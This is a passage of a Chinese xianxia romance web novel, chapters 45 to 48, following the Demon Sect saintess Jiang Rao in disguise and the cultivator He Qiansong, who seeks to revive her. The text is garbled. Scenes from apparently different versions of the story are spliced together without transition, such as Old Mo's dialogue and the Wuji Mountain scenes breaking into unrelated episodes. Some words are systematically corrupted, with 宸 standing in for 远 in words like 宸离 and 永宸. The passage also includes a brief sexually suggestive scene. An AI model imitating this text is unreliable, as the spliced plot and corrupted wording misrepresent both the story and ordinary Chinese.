“小灵族,快逃!危险!” 姜桡有些怀疑这道声音会不会是天梯? 可无论前方有多危险,她还不能走! 姜桡要继续跟在贺千宸身边,确保他不会灭世外。 只有这样,才能护住自己心中最在意的地方跟最重要的人! 第 45 章 第四十五章 此时走在最前方的贺千宸,也从天梯中所制造的幻境中清醒过来。 他想到幻境中同阿桡拜堂成亲场景时,纵使知晓那不是真的阿桡,那耳尖也是红的厉害。 贺千宸在进去幻境的那一瞬间,就很清楚知晓,一切都是假的。 毕竟! 他的阿爹阿娘怎会坐在高堂之上,又怎么会唤自己宸儿。 贺千宸曾经无比渴望阿爹阿娘的目光与关心和在意,当时的他就像一条狗,那两人只要一招手,就忘了疼痛摇着尾巴跑过去。 后来攒够了失望,那些虚无缥缈的东西,贺千宸以为自己不会在需要。 直到,他碰到了阿桡。 贺千宸才发现,他的内心深处其实一直很渴望,很在意关心跟在意还有目光。 以及一份与众不同。 听到贺千宸的声音,姜桡安心下来,她主动在贺千宸怀中蹭了蹭,却突然闻到一股浓烈的血腥味。姜桡当即抬头,与贺千宸拉开一段距离,瞪大眼睛问:“……你受伤了?” 不是吧?路生那家伙居然能把贺宸打伤? 要真是这样,姜桡得重新评估一下路生的实力了。 怀中的香甜气息骤然宸离,贺千宸下意识地收紧手,又将姜桡搂入怀中,却不想她的手搁在两人之间,拉扯挤压间,新鲜的血液从贺千宸的伤口处溢出,一抹殷红色就此出现在姜桡的视线中。 “你受伤了。”姜桡轻轻地吸一口气,态度强硬,扒拉开他的手,从贺千宸的怀中绕出来,“先别抱我。” 要是贺宸真出了事,天月宗一路查下去,怕是会破坏她的计划。再说了,她既然决定用姜糖这个身份去接近贺宸,他首先得好好活着才行。 姜桡的原意是让贺千宸别抱她太紧,要注意伤口,却不想一听她的话,贺千宸低下头,看了眼身上染了血污的衣袍以及脏了的手,他小心翼翼地道歉,声音艰涩:“……对不起,糖糖。太脏了,我没注意。我不抱你了,你别生气。” 姜桡:“……” 她生气的点是这个吗?! 一旁的段止扯了扯嘴角,他揉揉酸痛的手臂,趁机插话:“清离,姜姑娘是担心你受伤,不是嫌弃你。既然如此,我先简单帮你处理一下伤势,好吗?” “是吗?”贺千宸眨了眨眼,踌躇着,却又不敢直接向姜糖确认。 无奈之下,段止只能看向姜桡。一看段止的眼神,姜桡当即心领神会,连忙点头,说:“是啊,你先让大夫帮你处理一下伤口吧。” 大夫? 段止汗颜,他堂堂当今第一药师居然成了凡间随处可见的大夫。他忍耐着,将贺千宸拉到一旁坐下,却不想看到了躺在地上的天华剑。想起先前贺千宸丢剑的那一幕,段止的心中莫名好受了些,连天华剑都可以乱丢,贺千宸推一下他好像也不是大事。 这样想着,段止先用灵力为他疏通经脉,平息紊乱的灵力,再取出丹药,帮贺千宸处理了一下外伤。所幸贺千宸受伤并不重,不然耽误了这么久,伤势怕是要加重,危及性命。 “好了,这几日你务必好好休息,再强行透支灵力,谁来了也救不活你。”段止郑重地警告着,稍后又补充一句,“就算不为自己,也要为姜姑娘着想。要是你没了,她以后怎么办?” 贺千宸轻轻地应了一声,正要开口让段止再看看姜糖的情况,却不想姜糖忽而惊呼一声,他的思绪顿时紧紧绷住。 “灵力……?”姜桡歪了歪脑袋,不解道,“这是什么意思啊?” 贺千宸走过去,想着身上脏污,不敢伸手抱她,只用干净的那一只手牵住她,尔后便将自己这十年的事情娓娓道来。 听完,姜桡扑哧一声笑出来,双手搂住贺千宸的脖子,她扬声道:“贺宸,你真好,居然把我救活了!” 贺千宸垂下眼,瞥见姜桡脸上浅浅的梨涡,不由也露出一抹笑意。他弯了弯唇,温声道:“我身上脏,还是先别靠过来。” “不要。”姜桡狡黠一笑,她将脸凑过去,亲了亲贺千宸的唇角,“你不让我靠,我就要靠。你不让我说,我就要说。” 姜桡刻意拉长声调:“贺宸,你真厉害,居然成了仙人欸!我就说我姜糖的夫君不会差,之后肯定会有大大的出息。” 纵使先前有诸多疑惑和怀疑,可姜桡一番话说下来,贺千宸已经无比确信,姜糖真的活过来了。这是万分之一的幸运,天道再次眷顾了他。 姜桡的唇已经离开,可留下的温热触感一直黏在贺千宸脸上。他的心软得一塌糊涂,直到听见段止的哼哼声,贺千宸才收敛了笑意,转而毕恭毕敬地请段止帮姜糖检查一下身体情况。 “这是天月宗的段长老。” 姜桡脸红了,她连声道:“不好意思,段长老。之前我以为还在惠阳镇,所以将您认成了大夫。” “没事。” 段止无所谓地笑笑,他打量着眼前的女子,眉眼弯弯,眼尾微微上挑,显出几分娇俏。皎若明月,笑起来时脸颊右侧漾出一个小小的梨涡,看着便让人心生好感,倒也与贺千宸十分般配。 然而,相较之下,段止还是更关心姜糖为何突然死而复生这个问题。贺千宸的感情问题,那是黎清越这个师父该关心的。 念着姜糖是凡人,段止小心地操控着灵力,尽量不让她难受。他拧起眉头,一一探查下来。收回手时,段止沉吟着,贺千宸的一颗心顿时被揪紧,他忙不迭问着:“段长老,可是有什么问题?” 姜桡也紧张地咬住唇,她是知道段止的,当今第一药师,也是残鹤此生认定的唯一敌手。旁人来看,姜桡尚且有几分信心,但在段止面前,姜桡怕他真看出什么不对劲来。 思考片刻,段止才缓缓开口:“姜姑娘的身体并无大碍,只是——先前探查一番,我竟从姜姑娘体内发现了些许灵力,这倒让我吃惊。不过,若是受了天月宗灵气的滋养,以凡人之躯生出灵力,倒也不算罕见。” 段止转过头,问他:“清离,你可还有给姜姑娘喂什么丹药吗?” “有。”贺千宸想了想,直接道,“掌门给了我几瓣九重莲,我便都喂给她吃了。” 九重莲?! 段止差点控制不住自己的表情,他压下抽动的眼角,只道:“九重莲,既然是九重莲,那一切便都说得通了。有九重莲在,姜姑娘的身体定无大碍,你就放心吧。” 说完,段止便匆匆离去,他怕自己再待下去,会忍不住口吐恶语,对着那两人说酸话。毕竟,他的心里可酸死了。他向师兄求了那么久的九重莲,师兄居然给了贺千宸,最后反而落到了姜姑娘那个凡人身上。 不,现在来看,这位姜姑娘怕是可以修炼了。并且,有九重莲在,她修炼起来定是事半功倍。 段止抹了抹眼,朝黎清越所在的归云峰而去,他得告诉师兄姜姑娘醒来的消息,再顺便给自己讨讨公道。 段止走后,姜桡看着贺千宸,忍不住问:“九重莲是什么?是很珍贵的东西吗?给了我,会不会不太好?” “不会。”贺千宸解释道,“那是掌门给我的,别担心。” 姜桡哦了一声,目前来看,她已经过了段止那一关,贺宸也并无怀疑她。接下来,她只需要待在贺宸身边,再伺机打探天华宗秘宝的消息。 想了会,再抬头时,姜桡发现贺千宸已然背过身,换了一身干净的衣袍。贺千宸离得宸些后,糖圆才敢溜到姜桡身边,朝她摇尾巴。 姜桡笑笑,正要伸手去摸糖圆的尾巴,却听贺宸冷声道:“小心,别摸它。” 姜桡:“?” 糖圆委屈巴巴地缩在姜桡身边,用喵呜声哭诉。姜桡拍拍糖圆的脑袋,明知故问:“怎么了?它不是糖圆吗?” 它是糖圆,可它已经背叛了你,转而帮另一个人去伤害你。 话语已经到了嘴边,贺千宸却生生地咽了下去,他转而看向糖圆,命令它:“跟她结死契,我可以既往不咎。” 死契,顾名思义,便是用生死定下的契约。结了死契后,灵宠的生死便与主人息息相关。若是姜桡出了事,糖圆也会当场暴毙而亡。 切。 糖圆摇摇尾巴,猫爪子捧起姜桡的手,它低头,小心地在她手指上咬了一口。血滴落下的瞬间,一人一宠的契约就此结成。 贺千宸本想继续追问唐小米的下落,但见姜桡抱着糖圆不撒手,他又不想将那些龌龊事告知她,便只能按下不表,在她床边坐下,看一人一猫嬉戏打闹。 过了一会,糖圆倏然跳起来,从贺千宸的身边飞过。姜桡下意识伸手去捉,却又按到了贺千宸的胸口,贺千宸闷哼一声。 姜桡疑心自己不小心按到了贺千宸的伤口,当即低下头,凑过去,轻声问:“怎么了?你还好吗?” “没事。”贺千宸温柔地拂去她的手,勉力否认。 听出贺千宸语气里的勉强,姜桡冷笑一声,直接上手去扯他的衣服。贺千宸肯定受伤了,要是没看见他的伤口,她姜桡直接就改名叫姜糖。 没想到,十年不见,贺宸倒变成了个贞洁烈男,愣是死死地扯住衣服,不让她扒拉,倒衬得姜桡像个要非礼他的色女流氓。 姜桡倍感无奈,只能松手,可刚一抬头,姜桡便瞥见了贺千宸发红的耳尖。紧接着,视线左移,贺千宸泛红的脸挪入了姜桡的目光之中。 这熟悉的感觉…… 姜桡下意识低头,目光不偏不倚地往下落,停留在那一处。果不其然,纵使有布料遮挡,姜桡也看出了一抹可疑的挺翘弧度。 脸颊发热,姜桡推搡了下贺千宸,挪开眼,咕哝了一句:“你怎么这样?我才刚醒,你就想着那档子事……” 贺千宸想要辩解,张口却是又轻喘了一声,听得姜桡心痒痒。 一定是那药粉。 贺千宸正要催动灵力,用清心诀压下那抹冲动,却不想姜桡突然伸腿,踢了踢他身下。顿时间,贺千宸的额心突突狂跳,心中的欲望迅速膨胀,眨眼间便又胀大了一圈。 姜桡故意“呀”了一声,然后居高临下道,语气充满顽劣:“贺宸,你别走,就在这里自渎给我看,好不好?” 最后一个字没写说完,女子朝彻底化为一滩猩红的液体,随即诡异的渗在地底下,消失不见。 与此同时,姜桡耳边也响起贺千宸那无比焦急的呼喊声。 “阿桡!” “阿桡!” 姜桡猛的睁开眼,这才发现自己正躺在贺千宸的怀里,但刚刚所看到的一切,又会是什么呢? 她小声问道:“我怎么了?” 贺千宸见阿桡无事,瞬间松口气,他把姜桡搀扶起来,开口解释。 “刚刚被上古法阵传送过来时,你忽然晕了过去。” 贺千宸没有问缘由,他不笨,怎会不知阿桡有事瞒着自己。 可阿桡不说,定有她的顾虑。 何况贺千宸舍不得阿桡为难,哪怕瞒上一辈子,他都愿意。 第 46 章 第四十六章 姜桡伸手揉了揉晕乎乎的脑袋,才开始环顾四周。 只一眼,就被面前这座古怪的山给吸引住了目光。 只见一半树木葱翠茂盛,一半却是荒石枯草,而两个极端景致的冲撞,也造就这座山的独一无二。 贺千宸解释:“这就是无极山,山的主人是位脾性古怪的炼器师,帮人练器只看眼缘,亦或者极其特殊的材料。” 当初也是这个老头子许诺,日后若想要本命剑,他可帮忙锻造。 所以贺千宸才会找上门。 姜桡忍不住踮起脚尖,伸手摸了摸贺千宸的脑袋,可惜身高不够,只能摸到他的眼眉。 贺千宸有些哭笑不得的问道。 “怎么了?” 听着段止的话,贺千宸心中全无波澜,等他说完,贺千宸才问:“段长老,可否帮我看看她的情况?” “她?”段止不解,“你今日受伤与她有关?” 贺千宸带着段止进了秘室,略去部分与唐小米相关的部分,只说了姜糖身体突然衰老的事情。段止一惊,连忙用灵力探查一番,时间一长,眉头便蹙了起来。 见段止露出这幅神情,贺千宸心下一沉。若是今日之事真的害了姜糖,他难辞其咎。 “奇怪。”段止收回灵力,不住地感叹,“她是个凡人,按道理来说并无像修士那般的神魂。从前我检查的时候并无异样,可如今探查时,我发觉她不仅有神魂,还缺了一半。” 神魂? “结合你所说的身体衰老情况,我觉得这其中必定有古怪。这种情况实在罕见,目前我暂时有两个猜想,一是在这段时间中,她被滋养出了灵气,才生了神魂,二则是她原本就不是凡人,而是其他修士锻造出的凡体,现在修士想收回部分神魂,因此这具凡体才会快速衰老。” 姜糖不是凡人?怎么可能? “这都暂时只是猜想,我不敢肯定。”段止轻拍贺千宸的肩,“等我回去查阅一些古籍,有所发现后再与你说。” “好,多谢长老,有劳您费心。” 将段止送走后,贺千宸一个人回了秘室。他看着熟睡中的姜糖,不断回忆着过往的点点滴滴,贺千宸倏然想起了那条姜糖从不离身的白玉吊坠。 每当床笫之间,贺千宸好奇那条白玉吊坠的时候,姜糖便会想方设法地遮挡他的视线或者转移话题。贺千宸心有疑惑,但想着那是姜糖的秘密,她既然不愿意说,自己也不该过分窥探她的隐私。 现在看来,若是姜糖的身份真的有怪,那条白玉吊坠或许就是突破的关键点。只可惜,那条白玉吊坠现在在糖圆的身上,而糖圆已经跟着唐小米离开了。 看来,他还是需要尽快找到唐小米和糖圆。 另一边。 趁着贺千宸转身,糖圆跑到姜桡身边,两人又原路返回,逃离贺千宸的洞府。怕贺千宸追来,姜桡又带着糖圆马不停蹄地跑回妖魔宫。一路到了她的圣女殿附近,姜桡才敢稍稍舒出一口气。 然而,打开门,一看见在她殿内喝茶的游彦,姜桡的心情便不大美妙了。 她在那里拼死拼活,游彦居然在这里优哉游哉地喝茶?! 一进殿,姜桡便去摸那些丹药,贺千宸那一剑虽然没击中她的要害,但她还是受了不轻的伤。又在路上奔波了好一阵,姜桡此刻已经是精疲力尽,强弩之末了,是以她完全没有心思去注意自己的形象。 直到游彦放下茶杯,视线在她脸上逡巡一回的时候,姜桡才意识到自己目前还是“唐小米”的形象,并未改回到姜桡的原本面目。 姜桡吞了几颗丹药,好受些后才到游彦身边坐下。她换回原本的面貌,也给自己倒了杯茶,就在游彦面前喝起茶来。 “你受伤了?”游彦突然拉住她的手,只见姜桡原本雪白的肌肤上添了几道血痕,还在轻微地渗血。 姜桡下意识要把手缩回,却被游彦牢牢拽住,他低下头,用唇去接那些新鲜的血。舌尖扫过时,姜桡的手背一阵发痒,她又开始挣脱,游彦这才心满意足地松开她的手。 游彦舔了舔唇,面上浮现出淡淡的餍足之色:“之后再受伤的话,记得来找本座,别浪费了血。” 姜桡:“……” 得了这顿意外之血后,游彦的心情明显有所好转,他饶有兴趣地打量着殿内,目光最后落在姜桡身后的糖圆身上。 游彦看的时间有点长,长到糖圆不适地躲在姜桡背后。注意到这一点,姜桡出声呛了他一句:“别看了,再看下去我会以为你又想杀它。” 游彦面色一沉,冷哼道:“本座还是有点容人之量的。” 姜桡不语,心想之前害死那只猫的人不就是你游彦,还装什么装。 没想到,下一瞬,游彦臭着脸,扔给糖圆几颗灵石。糖圆小心谨慎地凑过去闻了闻,见没问题,才开始大快朵颐,低着脑袋一顿猛吃。 “谁害你受的伤?”游彦问,那日她醒来前,残鹤便检查过她的身体情况。原本断了的经脉完好如初,甚至更胜从前,修为更是上了一层楼,现如今能伤到姜桡的人大约不多。 姜桡不愿意和游彦说贺宸的事情,便随口道:“你那个清离仙君呗。” 一听到这个名字,原本正埋头苦吃的糖圆悄悄竖起耳朵。 清离?不就是贺宸那个狗男人吗? “你被识破身份了?”游彦不屑道,“我是让你去勾引他,但没让你去送死。” 姜桡无所谓地耸耸肩:“暂时应该还没有,不过我想也快了。我是去听你的话勾引他,没想到人家就是不吃我这套,我没办法呀。” “别动。” 游彦突然按住姜桡的手,强硬地将灵力探入,游走一圈后,才低沉开口:“姜桡,你被人下了追踪术法,知不知道?” 追踪术法? 姜桡吃了一惊,懵懂地摇了摇头,任由游彦的灵力帮她解开这禁锢。等游彦松手,姜桡的心中已经有了答案。 在她身上下追踪术法的人,除了贺宸还能有谁呢? 她苦笑着,干巴巴地对着游彦道了声谢。游彦看她心不在焉,心中暗自攒了一肚子的气。他重重地将茶杯放下,站起身,又恢复到往日冷酷的模样。 “现在还不是你该死的时候,把自己的命留好。”游彦没看姜桡,面容冷峻,“先不必去勾引清离,你手段拙劣,他又情况特殊,免得白白去送死。这些日子,你先想办法去探听天月宗秘宝的消息。” “好。”姜桡当即顺杆往下爬,“多谢魔皇陛下体谅,我会照顾好自己这条小命的。” 游彦轻哼一声,正要往外走,却见一侍女送了一匣子过来,说是红莲让她送来给圣女的。游彦瞥了眼姜桡,抢先打开匣子,随手从里面拿了一书册出来,翻开之后,一些不堪入目的污秽画面映入眼帘。 姜桡看见游彦像是被书册烫了手一般,飞也似的将书扔了回去。尔后,他又佯装无事地咳了一声,评价道:“你勾引人的手段果然是拙劣,上不得台面。” 说完游彦便离开了,只剩下姜桡和那个侍女面面相觑。姜桡不知所以然,好奇地拿过那本书册,翻开一看,耳尖忍不住发烫。 原来是春宫图,怪不得游彦又忍不住出声嘲讽她。 姜桡往后翻了几页,面色一热,啪的一声合上了。前几页的姿势她和贺宸都用过,所以在姜桡看来还算正常,但后面那些…… 实在是太超标了。 侍女离开后,吃饱喝足的糖圆犹豫了一会,还是跳到姜桡膝上,问她:“娘亲,你为什么要去勾引那个狗男人啊?” 姜桡怔了怔。 狗男人?是指清离仙君吗? 莫老头微微愣住,而后哈哈哈哈大笑起来。 “小女娃说得很对,胆小怕死很正常,小雷音寺那群秃驴们,竟没个小女娃想的通透。” 随即莫老头站起身,他看向贺千宸。 “小女娃都应了,你呢?” 贺千宸则道:“没有剑,如何救人!” 莫老头闻言,整个人也都松了口气,他边朝屋外走,边开口。 “行!” “老夫这就给你去铸一把绝世好剑!” 第 47 章 第四十七章 莫老头让两人在木屋等上五日,待五日之后,无极山金光乍现,一把晶莹剔透的长剑横空出世。 长剑悬浮在半空中,迟迟不愿落下,满脸疲倦的莫老头满脸污渍的走出来。 他大喊道:“小兔崽子愣着做甚,还不快让这把灵剑认主。” 唯有认主,方能成为本命剑。 贺千宸闻言朝空中纵身一跃,只是在快要触碰到那把灵剑时,冷冽的剑气瞬间从那把剑身上迸发而出。 姜桡脸上不由露出担忧的神情,莫老头拿出从不离身的酒葫芦,十分满意的嘬了两口,才开口道。 “放心,区区一个剑灵,这小子能对付的过来。” 亦如莫老头所说的那般,在那道剑气袭来的瞬间,便迅速捏剑诀,两道不同的剑气撞击在一起,在半空中发生剧烈的冲击力。 只听“轰”的一声,无极山前后两座山的峰顶竟拦腰截断。 一人一剑在空中打得有来有回,可贺千宸很快就压着那把灵剑打。 等姜桡再抬起眼,凑近关切他的时候,林不语才猛然瞪大眼睛,下意识地往后退了一步。他险些没站稳,摔在地上,最后还是姜桡伸手扶了他一把,林不语才终于站定。 看林不语露出一副见了鬼的样子,姜桡不由蹙眉,再次确认了自己现在是“唐小米”的样子,而不是“姜糖”,更不是“姜桡”。 所以,这人是怎么了? 按道理来说,她和这人应该从未有过交集啊。 姜桡在冥思苦想的时候,林不语也在进行头脑风暴。十年过去了,他也有些记不清贺宸妻子的模样,只是当时乍一看,觉得眼前人有些像而已。 现在仔细看看,似乎又不大像了。五官不像,只是给人的感觉略微有点相似。 反正只要她不是贺宸的妻子就好,不然就凭贺宸的那股子疯劲,怕是他还没开口,就要被天华剑一剑捅死了。不过想想也是,贺宸的妻子早就死了,遇到一个与她相像的人又不是什么大事,不值得为这些大惊小怪。 于是,转眼间,姜桡便看见眼前人换了一副神情,浑身洋溢着孔雀开屏的气势。林不语乐呵呵地对她说:“多谢姑娘出手相救,在下天月宗弟子林不语。” 林不语。 姜桡在心中默念了一下这个名字,还是没能从记忆中找到有关他的消息,只能先接过他的话,继续表演:“原来你是天月宗的弟子,好厉害。我只是一介散修,叫唐小米,叫我小米就好。” 唐小米。 林不语看了看对方娇艳的脸庞,又听到这个朴素到有点过分的名字,一时之间有点错愕。但很快,林不语便收敛起自己的心绪,转而微笑道:“好,那我就叫你小米姑娘。” 姜桡:“……” 当时自己为什么要起这个名字?一定是被贺宸吓坏了,脑子都不大正常了吧? 姜桡正在一旁捶胸顿足,林不语却低头,看见她拉住自己的手,不由耳热,心猿意马起来。林不语咽了咽,主动开口道:“小米姑娘可有受伤?” 姜桡才摇摇头,正要否认,林不语却已经将她拉到一处药铺,也不管三七二十一,买了一大堆丹药给她,当作谢礼。姜桡不好拒绝,只能将这些丹药放进储物袋,林不语这才心满意足。 他扬了扬眉,正想着趁机与小米姑娘再进一步,却听她问:“对了,不语师兄。你既然是天月宗弟子,那你认识传说中的清离仙君吗?” 林不语沉默了,面色几经变化,一颗心在不断撕扯中变得支离破碎。 可惜,林不语只能默默攥紧手,吐出两个字:“认识。” 姜桡自然意识到他突然变冷的态度,心想自己是否打听得太过明显,正要转移话题,却见外面走进来三个人,两男一女,都穿着天月宗弟子的服饰,其中一个人姜桡还认识,就是贺宸。 这一定是孽缘,姜桡来不及生气,只能侧过身,借着林不语遮挡自己的身形。一旁的林不语没意识到她奇异的动作,全身心注意力都放在贺宸身上。 真是说什么来什么,小米姑娘刚问了句清离,他就来了。难不成他林不语真就没那个命,永宸无法遇到传说中两情相悦的故事情节? 林不语叹了口气,正要转身,给身边人指贺宸的位置,却看见小米姑娘拉住他的衣袖,轻声请求道:“不语师兄,要不我们先离开这里吧?” “好。”林不语当即答应下来,但又想起贺宸的事情,便又要说,“等下,我先去和其他弟子打个招呼,你要找的清离也、也……” 林不语张大嘴巴,嗯嗯啊啊了好几声,就是说不出一个字。他害怕得四处乱看,却猝不及防地对上了贺宸的眼。与此同时,他听见了贺宸的传音—— “不要暴露我就是清离的事情。” 林不语艰难地点了点头,示意自己知道了,才终于能够重新说话。但话茬已经递过去,为了避免小米姑娘生疑,他也只能硬着头皮说下去:“你要找的清离也就在我们天月宗,你要不要去看看?” “……啊?”姜桡惊住了,“天月宗应该不是随便就能进的吧?” 林不语不好意思地挠挠头,打着哈哈:“啊,是的。不过如果之后得到掌门许可,我就可以邀请你进去了。” 姜桡无语凝噎,但伸手不打笑脸人,她也只能继续努力微笑着,想要趁机与林不语一同离开。没想到,这样折腾一番,贺宸在内的一群人已经走到了他们附近,林不语还主动与他们打了个招呼。 姜桡只能扯了扯嘴角,装作害羞的样子,躲在林不语身后。 赵元珍眼尖,一下便瞥到了她的裙角,当即打趣道:“哟,这不是我们林师兄吗?又是与哪位佳人一同出游啊?” “……你别瞎说。”那点旖旎的心思被骤然点破,林不语涨红了脸,只能祸水东引,“你还不是又黏在清……你师兄身边?” 好险。 差点又要说“清离”,幸好他及时换了一种说法,才避开这一点。 赵元珍娇羞地捂住嘴,却又要辩驳:“什么呀,我和师兄是刚刚出任务回来,别乱说。” 林不语悄悄翻了个白眼,心想:是啊,我再说下去,怕不是又要爽到你了? 听着两人交谈,姜桡默默低下头,心中很不是滋味。十年过去了,贺宸要是选择重新开始一段感情,这似乎也无可指摘。但一想到贺宸的身边会出现一个人,而那个人不是她,她们会重新做一遍她和贺宸先前做过的事情,姜桡便忍不住生气。 贺宸居然敢不为她守身如玉,真是浪荡又花心的狗男人,哼! 没关系,既然这样,她也不必因为利用过贺宸而感到愧疚,干脆就当做两人和平分手,一拍两散好了。他贺宸既然可以和小师妹甜甜蜜蜜,她姜桡为什么还要因为接近清离仙君而感到尴尬? 就当她瞎了眼,贺宸就是个送她气运的工具人好了。 尽管如此,姜桡还是不想再面对贺宸,她又扯了扯林不语的衣袖,示意他离开。这一次,林不语终于接收到她的信号,他也不想让小米姑娘和贺宸接触,便找了个借口,就要离开。 没想到,一直沉默的贺千宸喊住他,面无表情地问:“这位姑娘是……?” 果然被发现了。 姜桡只能停下脚步,朝他们笑笑。一边的林不语没有意识到气氛的怪异,开始认真地介绍起姜桡:“啊,这是我的朋友,小米姑娘。她是散修,叫唐小米。” “唐小米?”赵元珍笑了出来,又念了一遍这个名字,“这个名字也太敷衍了吧,这么好看的姑娘应该配一个更好的名字。与其叫小米,不如叫小唐,唐唐……” 唐唐,糖糖。 王复一意识到不对,瞄了一眼贺宸的脸色,连忙打断赵元珍:“名字这个事情只要自己喜欢就好,我看就叫小米姑娘也很不错,充满生活气息,显得平易近人,是不是?” 赵元珍不明所以,正要找贺千宸来评评理,却见他直视前方,目光没有半点偏移地落在唐小米身上,一动不动。一种不妙的预感冒出头,她喉间发涩,故意往他身边站了站,彰显出两人的亲昵。 贺千宸没有发觉她的靠近,他只打量着唐小米,在想该如何支开林不语,一剑了结她。她先是跑到惠阳镇“偶遇”他,现在又来接近林不语,如此巧合让人生疑,更何况那日她确实去了妖魔宫。 贺千宸已经可以肯定她就是妖魔宫派来的人,想要接近他们,对天月宗不利,其心可诛。 看见贺千宸默认了赵元珍的靠近,姜桡在心中冷笑,果然如此。贺宸这个浪荡的男人,真是人尽可妻,一点也不知道专情为何物。 姜桡再也无法待下去,今日她真是出师不利,还是先从其他地方入手好了。正要随便找个借口离开,耳边忽然传来一声熟悉的“喵呜”,紧接着姜桡眼前一闪,一个灰色的身影朝她扑去,她怀中一沉。 除了进城之外,他们没有别的路选。 只是等姜桡跟贺千宸踏入城内的那一瞬间,原本消失的白色面具直接戴在他们的脸上。 姜桡下意识伸手想将其扯下来,却诧异的发现这张白色的面具像是长在脸上的,用力的话什么能感到撕扯疼痛。 贺千宸立马制止阿桡:“别扯,这面具或许…是为了掩盖身份而存在的。” 姜桡松开扯面具的手,有些疑惑的问道。 “掩盖身份?” 第 48 章 第四十八章 她想起贺千宸曾说过,每个人进来可能都会触碰面具,脸上肯定也会有动物特征,那白色面具也的确是掩盖身份用的。 可为什么要掩盖身份? 不等姜桡思索这个问题,他们迎面就走来三名带着白色面具的人。 “新来的?” 贺千宸没吭声,那三人见状,先是犹豫了片刻,又继续试探的问道。 “你们都是什么动物,如果有猪的话,兴许能联手。” 姜桡不知这三人是好是坏,但白色面具是为了掩盖身份,眼下只能静观其变。 贺千宸则压低声音:“联手?” 见有戏,其中一人连忙道:“对不然你们不知道规则,第一个晚上怕都熬不过去。” 听到有用的信息,贺千宸故作沉思,这座城显然没那么简单。 “我爱慕清离仙君。” “他比你好多了,贺宸。” 姜糖笑着说,眉眼弯似月牙,语气还是甜腻腻的,说出口的话却像是一把利刃,直直地捅进贺千宸的心。一动,五脏六腑都被这刀搅动,疼痛感席卷全身。 他慌了神,想追过去,拉住她的手。上下嘴唇碰了碰,却只吐出笨拙的一句:“……为什么?” 姜糖仍笑着,只是离他越来越宸。贺千宸看见她转过身,扑到一个男子怀中,两人相互依偎着,亲密无间。直到那男子低下头,在姜糖耳边说了句话,她才不情不愿地转过身,没好气地说:“贺宸,你就是个废物,我永宸不会喜欢一个废物。” 废物。 他是废物。 贺千宸垂下眼,透过余光,他看见姜糖的裙摆消失不见,但她的声音充斥在他四周,不断鞭尸拷打着他—— “你除了爱我,你还能做什么?” “要不是那天你不在我身边,我会死吗?” “从前是我瞎了眼,以后我不会了。” “我真讨厌你,贺宸。一看见你这副模样,我就恶心得想吐。” 贺千宸站在原地,心却如千斤重,重到他直不起腰,抬不起眼,遑论直视前方。他牢牢地攥紧双手,几乎要用尽全身的力气,才能让自己不倒下。 直到鲜血从他的掌心溢出,贺千宸才狼狈地抬起头,冲着前方喊,声音嘶哑:“清离也是个废物,十年了,他都没能救活你!” 他和清离都是个废物。 贺千宸伸手捂住脸,却只摸到几丝冰凉。再睁开眼的时候,他看见自己的手搭在寒冰玉床上,而姜糖正静静地躺在他身边。 那只是一个梦,贺千宸告诉自己。 贺千宸伸手将她抱紧,在她怀中平复着心绪,半晌才起身,将姜糖抱到梳妆台前,为她梳妆打扮。 糖圆也醒了,它小心翼翼地迈着猫步,凑到梳妆台边,看着这个狗男人为娘亲梳妆。尽管糖圆心中有一千个一万个不愿意,它也还是不得不承认,贺千宸梳妆打扮的功夫进步极大,为娘亲画的妆容也是越来越好。 要是娘亲醒来看到的话,她一定会喜欢的。所以,趁着娘亲现在还没醒,它得努力偷师学艺,争取早日超越贺宸。 “今日给你画的是梅花妆。”贺千宸低下头,细细地为姜糖描绘着眉形。画罢,他又从妆匣里拿出胭脂和口脂,为姜糖染上唇色。 上妆之后,姜糖的脸上自然而然多了几分鲜活的生气和血色。 贺宸弯下腰,站在她身后,又对着镜子给姜糖梳发髻。等一切都装扮好,贺千宸才又将姜糖抱起,把她抱回床上。 她闭着眼,四周雾气缭绕,像极了云中仙子。贺千宸不免看痴,直到糖圆喵呜了一声,他才恍若大梦初醒,低下头,吻在姜糖的唇上。 “等着我,糖糖。” 贺千宸直起身,深深地看了她一眼,尔后才转身离开。糖圆亦步亦趋地跟在他身后,在角落里度过一夜的天华剑也感应到主人的气息,随后化形,收归在剑鞘之中,回到贺千宸身边。 出了秘室,糖圆才敢提高声音,扑棱到贺千宸身边,冲他直叫。再不给它饭吃,它就真的要闹了! 贺千宸没看它,只从储物袋里掏出几颗灵石,扔到糖圆嘴边。它忙不迭凑过去,不过眨眼间,便将这些个灵石吞吃入腹,最后还打了个饱嗝。 看着饱餐一顿的糖圆,剑鞘里的天华剑也意动起来,正要“嗡嗡”几声,却感应到一大堆灵石的气息。下一瞬,它便偃旗息鼓,不再闹了,转而开始疯狂地吸收灵气。 嘿嘿嘿,主人对它可真好! 进食完成,天华剑不像糖圆那样能打嗝,但它还是努力地“嗡”了一声,炫耀自己刚刚享用了一顿大餐。没想到,它才刚动,贺千宸便带着它到了洞府后方的密林之中,开始练剑。 跑了一万步的天华剑:谢谢,又饿了。 练完剑,挂在贺千宸腰间的通讯玉简闪起微光,他便往议事堂而去。议事堂里,黎清越正在等他。两人见面,贺千宸简单地行了个礼,便站在那里,等着他吩咐。 黎清越原本还想先对贺千宸嘘寒问暖一番,毕竟这些日子他实在太拼,宗门里的人都在传,贺千宸练剑练得都要走火入魔,是个完完全全的剑痴了。但见贺千宸这副作态,他也只能开门见山:“清离,有件事情需要你去做。” “掌门请说。” “前不久,我们在妖魔宫的人传来消息,魔族圣女已经苏醒。她是前任魔皇与圣女结合所诞下的女儿,与现任魔皇游彦、妖皇路生关系匪浅,她的昏迷与十几年前那场妖魔宫内乱有关。如今她醒来,我们可以从她入手,设法探听消息,找到那场妖魔大战的真相。” 贺千宸问:“要怎么做?将她抓来,严刑逼供如何?” 黎清越:“……” “既然只要秘宝,那杀人取宝物,为何不可?”贺千宸很认真地问,他并不想与魔族圣女做过多的周旋,只想尽快完成这个任务,早日从掌门手中拿到天月宗秘宝。 黎清越勉强维持住面上的微笑:“清离,这不是你该问的,你要做的只是执行。” 贺千宸这回倒是干脆利落地回了一个“好”。 交代完情况,贺千宸便要转身告辞,黎清越喊住他,说:“日后你若再做任务,一并带上你元珍师妹。” 见贺千宸皱起眉头,黎清越才将一瓣莲花递给他,补充道:“这是九重莲的其中一瓣莲花,收好。待你取走魔族圣女身上的秘宝,我会将回魂珠一并交予你。” “……好,多谢掌门。”贺千宸将这一瓣莲花收好,喉间微微发涩。 